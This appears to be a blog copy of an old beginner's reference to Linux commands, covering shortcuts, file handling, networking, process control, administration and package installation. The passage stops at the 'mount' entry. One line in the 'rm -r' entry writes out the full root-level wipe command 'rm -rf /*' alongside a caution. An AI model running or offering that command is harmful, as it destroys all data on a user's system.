<i>italic</i> = name of the file or variable you probably want to substitute with your own.<br />
<tt>fixed width</tt> = in-line Linux commands and filenames.<br />
<b>Notes for the UNIX Clueless:</b><br />
1. LINUX IS CASE-SENSITIVE. For example: Netscape, NETSCAPE and nEtscape are three different commands. Also my_filE, my_file, and my_FILE are three different files. Your user login name and password are also case sensitive. (This goes with the tradition of UNIX and the "c" programming language being case sensitive.)<br />
2. Filenames can be up to 256 characters long and can contain letters, numbers, "." (dot), "_" (underscore), "-" (dash), plus some other not recommended characters.<br />
3. Files with names starting with "." are normally not shown by the <tt>ls</tt> (list) or dir commands. Think of these files as "hidden". Use <tt>ls -a</tt> (list with the option "all") to see these files.<br />
4. "/" is an equivalent to DOS "\" (root directory, meaning the parent of all other directories).<br />
5. Under Linux, all directories appear under a single directory tree (there are no DOS-style drive letters).<br />
6. In a configuration file, a line starting with # is a comment.<br />
<br />
<a name='more'></a><br />
<br />
<h2>
Linux essential shortcuts and sanity commands</h2>
<tt><Ctrl><Alt><F1></tt><span style="background-color: white;"> </span><br />
<span style="background-color: white;">Switch to the first text terminal. Under Linux you can have several (6 in standard setup) terminals opened at the same time.</span><tt><Ctrl><Alt><Fn> </tt>(n=1..6)<br />
Switch to the nth text terminal.<br />
<tt>tty</tt><br />
Print the name of the terminal in which you are typing this command.<br />
<tt><Ctrl><Alt><F7></tt><br />
Switch to the first GUI terminal (if X-windows is running on this terminal).<br />
<tt><Ctrl><Alt><Fn> </tt>(n=7..12)<br />
Switch to the nth GUI terminal (if a GUI terminal is running on screen n-1). On default, nothing is running on terminals<br />
8 to 12, but you can run another server there.<br />
<tt><Tab></tt><br />
(In a text terminal) Autocomplete the command if there is only one option, or else show all the available options.<br />
THIS SHORTCUT IS GREAT! It even works at LILO prompt!<br />
<tt><ArrowUp></tt><br />
Scroll and edit the command history. Press <Enter> to execute.<br />
<tt><Shift><PgUp></tt><br />
Scroll terminal output up. Work also at the login prompt, so you can scroll through your bootup messages.<br />
<tt><Shift><PgDown></tt><br />
Scroll terminal output down.<br />
<tt><Ctrl><Alt><+></tt><br />
(in X-windows) Change to the next X-server resolution (if you set up the X-server to more than one resolution). For multiple resolutions on my standard SVGA card/monitor, I have the following line in the file<tt>/etc/X11/XF86Config</tt> (the first resolution starts on default, the largest determines the size of the "virtual screen"):<br />
<tt>Modes "1024x768" "800x600" "640x480" "512x384" "480x300" "400x300" "1152x864"</tt><br />
<tt><Ctrl><Alt><-></tt><br />
(in X-windows) Change to the previous X-server resolution.<br />
<tt><Ctrl><Alt><BkSpc></tt><br />
(in X-windows) Kill the current X-windows server. Use if the X-windows server crushes and cannot be exited normally.<br />
<tt><Ctrl><Alt><Del></tt><br />
Shut down the system and reboot. This is the normal shutdown command for a user at the text-mode console. Don't just press the "reset" button for shutdown!<br />
<tt><Ctrl>c</tt><br />
Kill the current process (mostly in the text mode for small applications).<br />
<tt><Ctrl>d</tt><br />
Log out from the current terminal. See also the next command.<br />
<tt><Ctrl>d</tt><br />
Send [End-of-File] to the current process. Don't press it twice else you also log out (see the previous command).<br />
<tt><Ctrl>s</tt><br />
Stop the transfer to the terminal.<br />
<tt><Ctrl>q</tt><br />
Resume the transfer to the terminal. Try if your terminal mysteriously stops responding.<br />
<tt><Ctrl>z</tt><br />
Send the current process to the background.<br />
<tt>exit</tt><br />
Logout. I can also use <tt>logout</tt> for the same effect. (If you have started a second shell, e.g., using <tt>bash</tt> the second shell will be exited and you will be back in the first shell, not logged out.)<br />
<tt>reset</tt><br />
Restore a screwed-up terminal (a terminal showing funny characters) to default setting. Use if you tried to "cat" a binary file. You may not be able to see the command as you type it.<br />
<tt><MiddleMouseButton></tt><br />
Paste the text which is currently highlighted somewhere else. This is the normal "copy-paste" operation in Linux. (It doesn't work with Netscape and WordPerfect which use the MS Windows-style "copy-paste". It does work in the text terminal if you enabled "gpm" service using "setup".) Best used with a Linux-ready 3-button mouse (Logitech or similar) or else set "3-mouse button emulation").<br />
<tt>~</tt><br />
(tilde) My home directory (normally the directory <tt>/home/my_login_name</tt>). For example, the command <tt>cd ~/<i>my_dir</i></tt> will change my working directory to the subdirectory "<i>my_dir</i>" under my home directory. Typing just "cd" alone is an equivalent of the command "cd ~".<br />
<tt>.</tt><br />
(dot) Current directory. For example, <tt>./my_program</tt> will attempt to execute the file "my_program" located in your current working directory.<br />
<tt>..</tt><br />
(two dots) Directory parent to the current one. For example, the command <tt>cd ..</tt> will change my current working directory one one level up.<br />
<h2>
Common Linux commands--system info</h2>
<tt>pwd</tt><span style="background-color: white;"> </span><br />
<span style="background-color: white;">Print working directory, i.e., display the name of my current directory on the screen.</span><tt>hostname</tt><br />
Print the name of the local host (the machine on which you are working). Use<tt> netconf </tt>(as root) to change the name of the machine.<br />
<tt>whoami</tt><br />
Print my login name.<br />
<tt>id <i>username</i></tt><br />
Print user id (uid) and his/her group id (gid), effective id (if different than the real id) and the supplementary groups.<br />
<tt>date</tt><br />
Print or change the operating system date and time. E.g., I could change the date and time to 2000-12-31 23:57 using this command:<br />
<tt>date 123123572000</tt><br />
To set the hardware (BIOS) clock from the system (Linux) clock, use the command (as root) <tt>setclock</tt><br />
<tt>time</tt><br />
Determine the amount of time that it takes for a process to complete + other info. Don't confuse it with the <tt>date</tt> command. E.g. I can find out how long it takes to display a directory content using:<br />
<tt>time ls</tt><br />
<tt>who</tt><br />
Determine the users logged on the machine.<br />
<tt>rwho -a</tt><br />
(=remote who) Determine all users logged on your network. The rwho service must be enabled for this command to run. If it isn't, run setup as root to enable "rwho".<br />
<tt>finger <i>user_name</i></tt><br />
System info about a user. Try: <tt>finger root</tt><br />
<tt>last</tt><br />
Show listing of users last logged-in on your system.<br />
<tt>history | more</tt><br />
Show the last (1000 or so) commands executed from the command line on the current account. The "| more" causes the display to stop after each screenful.<br />
<tt>uptime</tt><br />
Show the amount of time since the last reboot.<br />
<tt>ps</tt><br />
(=print status) List the processes currently run by the current user.<br />
<tt>ps axu | more</tt><br />
List all the processes currently running, even those without the controlling terminal, together with the name of the user that owns each process.<br />
<tt>top</tt><br />
Keep listing the currently running processes, sorted by cpu usage (top users first). In KDE, you can get GUI-based Ktop from "K"menu under "System"-"Task Manager" (or by executing "ktop" in an X-terminal).<br />
<tt>uname -a</tt><br />
(= Unix name with option "all") Info on your (local) server. I can also use <tt>guname</tt> (in X-window terminal) to display the info more nicely.<br />
<tt>free</tt><br />
Memory info (in kilobytes).<br />
<tt>df -h</tt><br />
(=disk free) Print disk info about all the filesystems (in human-readable form)<br />
<tt>du / -bh | more</tt><br />
(=disk usage) Print detailed disk usage for each subdirectory starting at the "/" (root) directory (in human legible form).<br />
<tt>cat /proc/cpuinfo</tt><br />
Cpu info--it show the content of the file <tt>cpuinfo</tt>. Note that the files in the <tt>/proc</tt> directory are not real files--they are hooks to look at information available to the kernel.<br />
<tt>cat /proc/interrupts</tt><br />
List the interrupts in use.<br />
<tt>cat /proc/version</tt><br />
Linux version and other info<br />
<tt>cat /proc/filesystems</tt><br />
Show the types of filesystems currently in use.<br />
<tt>cat /etc/printcap</tt><br />
Show the setup of printers.<br />
<tt>lsmod</tt><br />
(As root. Use <tt>/sbin/lsmod</tt> to execute this command when you are a non-root user.) Show the kernel modules currently loaded.<br />
<tt>set|more</tt><br />
Show the current user environment.<br />
<tt>echo $PATH</tt><br />
Show the content of the environment variable "PATH". This command can be used to show other environment variables as well. Use "set" to see the full environment.<br />
<tt>dmesg | less</tt><br />
Print kernel messages (the content of the so-called kernel ring buffer). Press "q" to quit "less". Use <tt>less /var/log/dmesg</tt> to see what "dmesg" dumped into this file right after the last system bootup.<br />
<br />
<h2>
Basic operations</h2>
<tt><i>any_command </i>--help |more</tt><span style="background-color: white;"> </span><br />
<span style="background-color: white;">Display a brief help on a command (works with most commands). "--help" works similar to DOS "/h" switch. The "more" pipe is needed if the output is longer than one screen.</span><tt>man <i>topic</i></tt><br />
Display the contents of the system manual pages (help) on the topic. Try <tt>man man</tt> first. Press "q" to quit the viewer. The command <tt>info <i>topic</i></tt> works similar and may contain more up-to-date information. Manual pages can be hard to read. Try <tt><i>any_command</i> --help</tt> for short, easy to digest help on a command. If more info needed, have a look to the directory <tt>/usr/doc</tt>. To display manual page from a specific section, I may use something like in this example: <tt>man 3 exit</tt> (this displays an info on the command <tt>exit</tt> from section 3 of the manual pages).<br />
<tt>apropos <i>topic</i></tt><br />
Give me the list of the commands that have something to to do with my topic.<br />
<tt>help command</tt><br />
Display brief info on a bash (shell) build-in command.<br />
<tt>ls</tt><br />
List the content of the current directory. Under Linux, the command "dir" is an alias to ls. Many users have "ls" to be an alias to "ls --color".<br />
<tt>ls -al |more</tt><br />
List the content of the current directory, all files (also those starting with a dot), and in a long form. Pipe the output through the "more" command, so that the display pauses after each screenful.<br />
<tt>cd <i>directory</i></tt><br />
Change directory. Using "cd" without the directory name will take you to your home directory. "cd -" will take you to your previous directory and is a convenient way to toggle between two directories. "cd .." will take you one directory up.<br />
<tt>cp <i>source destination</i></tt><br />
Copy files. E.g., <tt>cp /home/stan/existing_file_name .</tt> will copy a file to my current working directory. Use the "-r" option (for recursive) to copy the contents of whole directories, e.g. , <tt>cp -r my_existing/dir/ ~ </tt> will copy a subdirectory under my current working directory to my home directory.<br />
<tt>mcopy <i>source destination</i></tt><br />
Copy a file from/to a DOS filesystem (no mounting necessary). E.g., <tt>mcopy a:\autoexec.bat ~/junk </tt>. See <tt>man mtools</tt> for related commands: mdir, mcd, mren, mmove, mdel, mmd, mrd, mformat ....<br />
<tt>mv s<i>ource destination</i></tt><br />
Move or rename files. The same command is used for moving and renaming files and directories.<br />
<tt>ln <i>source destination</i></tt><br />
Create a hard link called <i>destination</i> to the file called <i>source</i>. The link appears as a copy of the original files, but in reality only one copy of the file is kept, just two (or more) directory entries point to it. Any changes the file are automatically visible throughout. When one directory entry is removed, the other(s) stay(s) intact. The limitation of the hard links are: the files have to be on the same filesystem, hard links to directories or special files are impossible.<br />
<tt>ln -s <i>source destination</i></tt><br />
Create a symbolic (soft) link called "destination" to the file called "source". The symbolic link just specifies a path where to look for the file. In contradistinction to hard links, the source and destination don't not have to tbe on the same filesystem. In comparison to hard links, the drawback of symbolic links are: if the original file is removed, the link is "broken", symbolic links can also create circular references (like circular references in spreadsheets or databases, e.g., "a" points to "b" and "b" points back to "a").<br />
<tt>rm<i> files</i></tt><br />
Remove (delete) files. You must own the file in order to be able to remove it. On many systems, you will be asked or confirmation of deleation, if you don't want this, use the "-f" (=force) option, e.g., <tt>rm -f *</tt> will remove all files in my current working directory, no questions asked.<br />
<tt>mkdir <i>directory</i></tt><br />
Make a new directory.<br />
<tt>rmdir <i>directory</i></tt><br />
Remove an empty directory.<br />
<tt>rm -r <i>files</i></tt><br />
(recursive remove) Remove files, directories, and their subdirectories. Careful with this command as root--you can easily remove all files on the system with such a command executed on the top of your directory tree, and there is no undelete in Linux (yet). But if you really wanted to do it (reconsider), here is how (as root): <tt>rm -rf /*</tt><br />
<tt>cat <i>filename</i> | more</tt><br />
View the content of a text file called "filename", one page a time. The "|" is the "pipe" symbol (on many American keyboards it shares the key with "\") The pipe makes the output stop after each screenful. For long files, it is sometimes convenient to use the commands head and tail that display just the beginning and the end of the file. If you happened to use "cat" a binary file and your terminal displays funny characters afterwards, you can restore it with the command "reset".<br />
<tt>less <i>filename</i></tt><br />
Scroll through a content of a text file. Press q when done. "Less" is roughly equivalent to "more" , the command you know from DOS, although very often "less" is more convenient than "more".<br />
<tt>pico <i>filename</i></tt><br />
Edit a text file using the simple and standard text editor called <tt>pico</tt>.<br />
<tt>pico -w <i>filename</i></tt><br />
Edit a text file, while disabling the long line wrap. Handy for editing configuration files, e.g. <tt>/etc/fstab</tt>.<br />
<tt>find / -name "<i>filename</i>"</tt><br />
Find the file called "filename" on your filesystem starting the search from the root directory "/". The "filename" may contain wildcards (*,?).<br />
<tt>locate <i>filename</i></tt><br />
Find the file name of which contains the string "filename". Easier and faster than the previous command but depends on a database that normally rebuilds at night.<br />
<tt>./<i>program_name</i></tt><br />
Run an executable in the current directory, which is not on your PATH.<br />
<tt>touch <i>filename</i></tt><br />
Change the date/time stamp of the file <i><tt>filename</tt></i> to the current time. Create an empty file if the file does not exist.<br />
<tt>xinit</tt><br />
Start a barebone X-windows server (without a windows manager).<br />
<tt>startx</tt><br />
Start an X-windows server and the default windows manager. Works like typing "win" under DOS with Win3.1<br />
<tt>startx -- :1</tt><br />
Start another X-windows session on the display 1 (the default is opened on display 0). You can have several GUI terminals running concurrently. Switch between them using <Ctrl><Alt><F7>, <Ctrl><Alt><F8>, etc.<br />
<tt>xterm</tt><br />
(in X terminal) Run a simple X-windows terminal. Typing <tt>exit</tt> will close it. There are other, more advanced "virtual" terminals for X-windows. I like the popular ones: <tt>konsole</tt> and <tt>kvt</tt> (both come with kde) and <tt>gnome-terminal</tt> (comes with gnome). If you need something really fancy-looking, try <tt>Eterm</tt>.<br />
<tt>xboing</tt><br />
(in X terminal). Very nice, old-fashioned game. Many small games/programs are probably installed on your system. I also like <tt>xboard</tt> (chess).<br />
<tt>shutdown -h now</tt><br />
(as root) Shut down the system to a halt. Mostly used for a remote shutdown. Use <Ctrl><Alt><Del> for a shutdown at the console (which can be done by any user).<br />
<tt>halt</tt><br />
<tt>reboot</tt><br />
(as root, two commands) Halt or reboot the machine. Used for remote shutdown, simpler to type than the previous command.<br />
<br />
<h2>
Network apps</h2>
<tt>netscape</tt><span style="background-color: white;"> </span><br />
<span style="background-color: white;">(in X terminal) Run netscape (requires a separate Netscape installation). The current versions of Netscape (4.x) are known to be big and buggy. They occasionally crash by vanishing (no other harm done). Also, when not connected to the network , Netscape likes to refuse to do anything (looks like it hanged)-it revives when you connect.</span><tt>netscape -display <i>host</i>:0.0</tt><br />
(in X terminal) Run netscape on the current machine and direct the output to machine named "host" display 0 screen 0. Your current machine must have a permission to display on the machine "host" (typically given by executing the command <tt>xhost <i>current_machine_name</i></tt> in the xterminal of the machine host. Other X-windows program can be run remotely the same way.<br />
<tt>lynx <i>file.html</i></tt><br />
View an html file or browse the net from the text mode.<br />
<tt>pine</tt><br />
A good text-mode mail reader. Another good and standard one is <tt>elm</tt>. Your Netscape mail will read the mail from your Internet account. <tt>pine</tt> will let you read the "local" mail, e.g. the mail your son or a cron process sends to you from a computer on your home network. The command <tt>mail</tt> could also be used for reading/composing mail, but it would be inconvenient--it is meant to be used in scripts for automation.<br />
<tt>elm</tt><br />
A good tex-mode mail reader. See the previous command.<br />
<tt>mutt</tt><br />
A really basic but extremally useful and fast mail reader.<br />
<tt>mail</tt><br />
A basic operating system tool for e-mail. Look at the previous commands for a better e-mail reader. <tt>mail</tt> is good if you wanted to send an e-mail from a shell script.<br />
<tt>licq</tt><br />
(in X term) An icq "instant messaging" client. Another good one is <tt>kxicq</tt>. Older distributions don't have an icq client installed, you have to do download one and install it.<br />
<tt>talk <i>username1</i></tt><br />
Talk to another user currently logged on your machine (or use "<tt>talk <i>username1</i>@<i>machinename</i></tt>" to talk to a user on a different computer) . To accept the invitation to the conversation, type the command "<tt>talk<i>username2</i></tt>". If somebody is trying to talk to you and it disrupts your work, your may use the command "<tt>mesg n</tt>" to refuse accepting messages. You may want to use "<tt>who</tt>" or "<tt>rwho</tt>" to determine the users who are currently logged-in.<br />
<tt>mc</tt><br />
Launch the "Midnight Commander" file manager (looks like "Norton Commander" for Linux).<br />
<tt>telnet <i>server</i></tt><br />
Connect to another machine using the TELNET protocol. Use a remote machine name or IP address. You will be prompted for your login name and password--you must have an account on the remote machine to login. Telnet will connect you to another machine and let you operate on it as if you were sitting at its keyboard (almost). Telnet is not very secure--everything you type goes in open text, even your password!<br />
<tt>rlogin <i>server</i></tt><br />
(=remote login) Connect to another machine. The login name/password from your current session is used; if it fails you are prompted for a password.<br />
<tt>rsh <i>server</i></tt><br />
(=remote shell) Yet another way to connect to a remote machine. The login name/password from your current session is used; if it fails you are prompted for a password.<br />
<tt>ftp <i>server</i></tt><br />
Ftp another machine. (There is also <tt>ncftp</tt> which adds extra features and <tt>gftp</tt> for GUI .) Ftp is good for copying files to/from a remote machine. Try user "anonymous" if you don't have an account on the remote server. After connection, use "?" to see the list of available ftp commands. The essential ftp command are: <tt>ls</tt> (see the files on the remote system), <tt>ASCII</tt>, <tt>binary</tt> (set the file transfer mode to either text or binary, important that you select the proper one ), <tt>get</tt> (copy a file from the remote system to the local system), <tt>mget</tt> (get many files at once), <tt>put</tt> (copy a file from the local system to the remote system), <tt>mput</tt> (put many files at once), <tt>bye</tt> (disconnect). For automation in a script, you may want to use <tt>ncftpput</tt> and <tt>ncftpget</tt>, for example:<br />
<tt>ncftpput -u my_user_name -p my_password -a remote.host.domain remote_dir *local.html</tt><br />
<tt>minicom</tt><br />
Minicom program (looks like "Procomm for Linux").<br />
<h2>
File (de)compression</h2>
<tt>tar -zxvf <i>filename.tar.gz</i></tt><span style="background-color: white;"> </span><br />
<span style="background-color: white;">(=tape archiver) Untar a tarred and compressed tarball (*.tar.gz or *.tgz) that you downloaded from the Internet.</span><tt>tar -xvf <i>filename.tar</i></tt><br />
Untar a tarred but uncompressed tarball (*.tar).<br />
<tt>gunzip <i>filename.gz</i></tt><br />
Decompress a zipped file (*.gz" or *.z). Use gzip (also <tt>zip</tt> or <tt>compress</tt>) if you wanted to compress files to this file format.<br />
<tt>bunzip2 <i>filename.bz2</i></tt><br />
(=big unzip) Decompress a file (*.bz2) zipped with bzip2 compression utility. Used for big files.<br />
<tt>unzip <i>filename.zip</i></tt><br />
Decompress a file (*.zip) zipped with a compression utility compatible with PKZIP for DOS.<br />
<tt>unarj e <i>filename.arj</i></tt><br />
Extract the content of an *.arj archive.<br />
<tt>uudecode -o <i>outputfile</i> <i>filename</i></tt><br />
Decode a file encoded with <tt>uuencode</tt>. uu-encoded files are typically used for transfer of non-text files in e-mail (uuencode transforms any file into an ASCII file).<br />
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=5921365435249055889" name="process_control"></a>Process control</h2>
<tt>ps</tt><span style="background-color: white;"> </span><br />
(=print status) Display the list of currently running processes with their process IDs (PID) numbers. Use <tt>ps axu</tt> to see all processes currently running on your system (also those of other users or without a controlling terminal), each with the name of the owner. Use "top" to keep listing the processes currently running.<span style="background-color: white;"></span><tt>fg <i>PID</i></tt><br />
Bring a background or stopped process to the foreground.<br />
<tt>bg <i>PID</i></tt><br />
Send the process to the background. Opposite to fg. The same can be accomplished with <Ctrl>z. If you have stopped jobs, you have to type <tt>exit</tt> twice in row to log out.<br />
<tt><i>any_command</i>&</tt><br />
Run any command in the background (the symbol "&" means "run the proceeding command in the background").<br />
<tt>batch <i>any_command</i></tt><br />
Run any command (usually one that is going to take more time) when the system load is low. I can logout, and the process will keep running.<br />
<tt>at 17:00</tt><br />
Execute a command at a specified time. You will be prompted for the command(s) to run, until you press <Ctrl>d.<br />
<tt>kill <i>PID</i></tt><br />
Force a process shutdown. First determine the PID of the process to kill using ps.<br />
<tt>killall <i>program_name</i></tt><br />
Kill program(s) by name.<br />
<tt>xkill</tt><br />
(in an xwindow terminal) Kill a GUI-based program with mouse. (Point with your mouse cursor at the window of the process you want to kill and click.)<br />
<tt>lpc</tt><br />
(as root) Check and control the printer(s). Type "?" to see the list of available commands.<br />
<tt>lpq</tt><br />
Show the content of the printer queue. Under KDE (X-Windows), you may use GUI-based "Printer Queue" available from "K"menu-Utilities.<br />
<tt>lprm <i>job_number</i></tt><br />
Remove a printing job "job_number" from the queue.<br />
<tt>nice <i>program_name</i></tt><br />
Run <i>program_name</i> adjusting its priority. Since the priority is not specified in this example, it will be adjusted by 10 (the process will run slower), from the default value (usually 0). The lower the number (of "niceness" to other users on the system), the higher the priority. The priority value may be in the range -20 to 19. Only root may specify negative values. Use "top" to display the priorities of the running processes.<br />
<tt>renice -1 <i>PID</i></tt><br />
(as root) Change the priority of a running process to -1. Normal users can only adjust processes they own, and only up from the current value (make them run slower).<br />
<tt><Ctrl>c</tt>, <tt><Ctrl>z</tt>, <tt><Ctrl>s</tt>, and <tt><Ctrl>q</tt> also belong to this chapter but they were described <a href="http://www.unixguide.net/linux/linuxshortcuts.shtml#shortcuts">previously</a>. In short they mean: stop the current command, send the current command to the background, stop the data transfer, resume the data transfer.<br />
<br />
<h2>
<a href="http://www.blogger.com/blogger.g?blogID=5921365435249055889" name="Admin_commands"></a>Basic administration commands</h2>
<tt>printtool</tt><span style="background-color: white;"> </span><br />
<span style="background-color: white;">(as root in X-terminal) Configuration tool for your printer(s). Settings go to the file </span><tt>/etc/printcap</tt><span style="background-color: white;">.</span><tt>setup</tt><br />
(as root) Configure mouse, soundcard, keyboard, X-windows, system services. There are many distibution-specific configuration utilities, <tt>setup</tt> is the default on RedHat. Mandrake 7.0 offers very nice <tt>DrakConf</tt>.<br />
<tt>linuxconfig</tt><br />
(as root, either in text or graphical mode). You can access and change hundreds of setting from it. Very powerful--don't change too many things at the same time, and be careful with changing entries you don't understand.<br />
<tt>xvidtune</tt><br />
(in X-terminal). Adjust the settings of the graphical display for all resolutions so as to eliminate black bands, shift the display right/left/up/down, etc. (First use the knobs on your monitor to fit your text mode correctly on the screen.) To make the changes permanent, display the frequencies on the screen and transfer them to the setup file <tt>/etc/X11/XF86Config</tt>.<br />
<tt>alias ls="ls --color=tty"</tt><br />
Create an alias for the command "ls" to enhance its format with color. In this example, the alias is also called "ls" and the "color" option is only envoke when the output is done to a terminal (not to files). Put the alias into the file <tt>/etc/bashrc</tt> if you would like the alias to be always accessible to all users on the system. Type "<tt>alias</tt>" alone to see the list of aliases on your system.<br />
<tt>adduser <i>user_name</i></tt><br />
Create a new account (you must be root). E.g., <tt>adduser barbara </tt> Don't forget to set up the password for the new user in the next step. The user home directory is <tt>/home/<i>user_name</i>.</tt><br />
<tt>useradd <i>user_name</i></tt><br />
The same as the command " <tt>adduser <i>user_name</i> "</tt>.<br />
<tt>userdel <i>user_name</i></tt><br />
Remove an account (you must be a root). The user's home directory and the undelivered mail must be dealt with separately (manually because you have to decide what to do with the files).<br />
<tt>groupadd <i>group_name</i></tt><br />
Create a new group on your system. Non-essential but can be handy even on a home machine with a small number of users.<br />
<tt>passwd</tt><br />
Change the password on your current account. If you are root, you can change the password for any user using: <tt>passwd <i>user_name</i></tt><br />
<i><tt>chmod perm filename</tt></i><br />
(=change mode) Change the file access permission for the files you own (unless you are root in which case you can change any file). You can make a file accessible in three modes: read (r), write (w), execute (x) to three classes of users: owner (u), members of the same group as the owner (g), others on the system (o). Check the current access permissions using:<br />
<tt>ls -l <i>filename</i></tt><br />
If the file is accessible to all users in all modes it will show:<br />
<tt>rwxrwxrwx</tt><br />
The first triplet shows the file permission for the owner of the file, the second for his/her group, the third for others. A "no" permission is shown as "-".<br />
E.g., this command will <b>add </b>the permission to read the file "junk" to all (=user+group+others):<br />
<tt>chmod a+r junk</tt><br />
This command will remove the permission to execute the file junk from others:<br />
<tt>chmod o-x junk</tt><br />
Also try <a href="http://sunsite.auc.dk/share/page/FAQ2.htm#file_permissions">here</a> for more info.<br />
You can set the default file permissions for the news files that you create using the command <tt>umask</tt> (see <tt>man umask</tt>).<br />
<tt>chown <i>new_ownername filename</i></tt><br />
<tt>chgrp <i>new_groupname filename</i></tt><br />
Change the file owner and group. You should use these two commands after you copy a file for use by somebody else.<br />
<tt>su</tt><br />
(=substitute user id) Assume the superuser (=root) identity (you will be prompted for the password). Type "exit" to return you to your previous login. Don't habitually work on your machine as root. The root account is for administration and the su command is to ease your access to the administration account when you require it. You can also use "su" to assume any other user identity, e.g. <tt>su barbara</tt> will make me "barbara" (password required unless I am a superuser).<br />
<tt>kernelcfg</tt><br />
(as root in X terminal). GUI to to add/remove kernel modules. You can do the same from the command line using the command "<tt>insmod</tt>", but "<tt>insmode</tt>" is less "newbie-friendly".<br />
<tt>lsmod</tt><br />
List currently loaded kernel modules. A module is like a device driver--it provides operating system kernel support for a particular piece of hardware or feature.<br />
<tt>modprobe -l |more</tt><br />
List all the modules available for your kernel. The available modules are determined by how your Linux kernel was compliled. Every possible module/feature can be compiled on linux as either "hard wired" (fast, non-removable), "module" (maybe slower, but loaded/removable on demand), or "no" (no support for this feature at all).<br />
<tt>insmod parport</tt><br />
<tt>insmod ppa</tt><br />
(as root) Insert modules into the kernel (a module is roughly an equivalent of a DOS device driver). This example shows how to insert the modules for support of the external parallel port zip drive (it appears to be a problem to get the external zip drive to work in any other way under RH6.0 ).<br />
<tt>rmmod <i>module_name</i></tt><br />
(as root, not essential). Remove the module <i>module_name</i> from the kernel.<br />
<tt>setserial /dev/cua0 port 0x03f8 irq 4</tt><br />
(as root) Set a serial port to a non-standard setting. The example here shows the standard setting for the first serial port (cua0 or ttyS0). The standard PC settings for the second serial port (cua1or ttyS1) are: address of i/o port 0x02f8, irq 3. The third serial port (cua2 or ttyS2): 0x03e8, irq 4. The forth serial port (cua3 or ttyS3): 0x02e8, irq 3. Add your setting to <tt>/etc/rc.d/rc.local</tt> if you want it to be set at the boot time. See man setserial for good a overview.<br />
<tt>fdisk</tt><br />
(as root) Linux hard drive partitioning utility (DOS has a utility with the same name).<br />
<tt>cd /usr/src/linux-2.0.36</tt><br />
<tt>make xconfig</tt><br />
(as root in X terminal). Nice GUI front-end for configuration of the kernel options in preparation for compilation of your customized kernel. (The directory name contains the version of your Linux kernel so you may need to modify the directory name if your Linux kernel version is different than 2.0.36 used in this example. You also need the "Tk" interpreter and the kernel source code installed. ) The alternatives to "make xconfig" are: "make config" (runs a scripts that asks you questions in the text mode) and "make menuconfig" (runs a text-based menu-driven configuration utility). Try: <tt>less /usr/doc/HOWTO/Kernel-HOWTO</tt> for more information.<br />
After the configuration, you may choose to proceed with kernel compilation of the new kernel by issuing the following commands:<br />
<tt>make dep</tt><br />
<tt>make zImage</tt><br />
The last command will take some time to complete (maybe 0.5 h, depending on your hardware). It produces the file "zImage", which is your new Linux kernel. Next:<br />
<tt>make modules</tt><br />
<tt>make modules_install</tt><br />
Read: /usr/doc/HOWTO/Kernel-HOWTO for information on how to install the new kernel. You will probably also find it useful to read "man depmode". Configuration, compilation and installation of a new kernel is not difficult but it CAN lead to problems if you don't know what you are doing.<br />
Compilation of a kernel is a good way to test your hardware, because it involves a massive amount of computing. If your hardware is "flaky", you will most likely receive the "signal 11" error (read the beatiful<tt>/usr/doc/FAQ/txt/GCC-SIG11-FAQ</tt>). <b>See <a href="http://sunsite.auc.dk/share/page/kernel_upgrade.htm">this</a> for details on kernel upgrade.</b><br />
<tt>depmod -a</tt><br />
(as root) Build the module dependency table for the kernel. This can, for example, be useful after installing and booting a new kernel. Use "<tt>modprobe -a</tt>" to load the modules.<br />
<tt>ldconfig</tt><br />
(as root) Re-create the bindings and the cache for the loader of dynamic libraries ("ld"). You may want to run ldconfig after an installation of new dynamically linked libraries on your system. (It is also re-run every time you boot the computer, so if you reboot you don't have to run it manually.)<br />
<tt>mknod /dev/fd0 b 2 0</tt><br />
(=make node, as root) Create a device file. This example shows how to create a device file associated with your first floppy drive and could be useful if you happened to accidentally erase it. The options are: b=block mode device (c=character mode device, p=FIFO device, u=unbuffered character mode device). The two integers specify the major and the minor device number.<br />
<tt>fdformat /dev/fd0H1440</tt><br />
<tt>mkfs -c -t ext2</tt><br />
(=floppy disk format, two commands, as root) Perform a low-level formatting of a floppy in the first floppy drive (/dev/fd0), high density (1440 kB). Then make a Linux filesystem (-t ext2), checking/marking bad blocks (-c ). Making the files system is an equivalent to the high-level format.<br />
<tt>badblocks /dev/fd01440 1440</tt><br />
(as root) Check a high-density floppy for bad blocks and display the results on the screen. The parameter "1440" specifies that 1440 blocks are to be checked. This command does not modify the floppy.<br />
<tt>fsck -t ext2 /dev/hda2</tt><br />
(=file system check, as root) Check and repair a filesystem. The example uses the partition hda2, filesystem type ext2.<br />
<tt>dd if=/dev/fd0H1440 of=floppy_image</tt><br />
<tt>dd if=floppy_image of=/dev/fd0H1440</tt><br />
(two commands, dd="data duplicator") Create an image of a floppy to the file called "floppy_image" in the current directory. Then copy <tt>floppy_image</tt> (file) to another floppy disk. Works like DOS "DISKCOPY".<br />
<br />
<h2>
Program installation</h2>
<tt>rpm -ivh<i> filename.rpm</i></tt><span style="background-color: white;"> </span><br />
<span style="background-color: white;">(=RedhatPackageManager, install, verbose, hashes displayed to show progress, as root.) Install a content of RedHat rpm package(s) and print info on what happened. Keep reading if you prefer a GUI installation.</span><tt>rpm -qpi <i>filename.rpm</i></tt><br />
(=RedhatPackageManager, query, package, list.) Read the info on the content of a yet uninstalled package <i>filename.rpm</i>.<br />
<tt>rpm -qpl <i>filename.rpm</i></tt><br />
(=RedhatPackageManager, query, package, information.) List the files contained in a yet uninstalled package <i>filename.rpm</i>.<br />
<tt>rpm -qf <i>filename</i></tt><br />
(=RedhatPackageManager, query, file.) Find out the name of the *.rpm package to which the file <i>filename</i> (on your hardrive) belongs.<br />
<tt>rpm -e <i>packagename</i></tt><br />
(=RedhatPackageManager, erase=uninstall.) Uninstall a package <i>pagckagename</i>. <i>Packagname</i> is the same as the beginning of the *.rpm package file but without the dash and version number.<br />
<tt>kpackage</tt><br />
<tt>gnorpm</tt><br />
<tt>glint</tt><br />
(in X terminal, as root if you want to be able to install packages) GUI fronts to the Red Hat Package Manager (rpm). "glint" comes with RH5.2, "gnorpm" with RH6.0, "kpackage" comes with RH6.1 or must be installed separately but is the best of the three. Use any of them to view which software packages are installed on your system and the what not-yet-installed packages are available on your RedHat CD, display the info about the packages, and install them if you want (installation must be done as root).<br />
<br />
<h2>
Accessing drives/partitions</h2>
<tt>mount</tt><span style="background-color: white;"> </span><br />
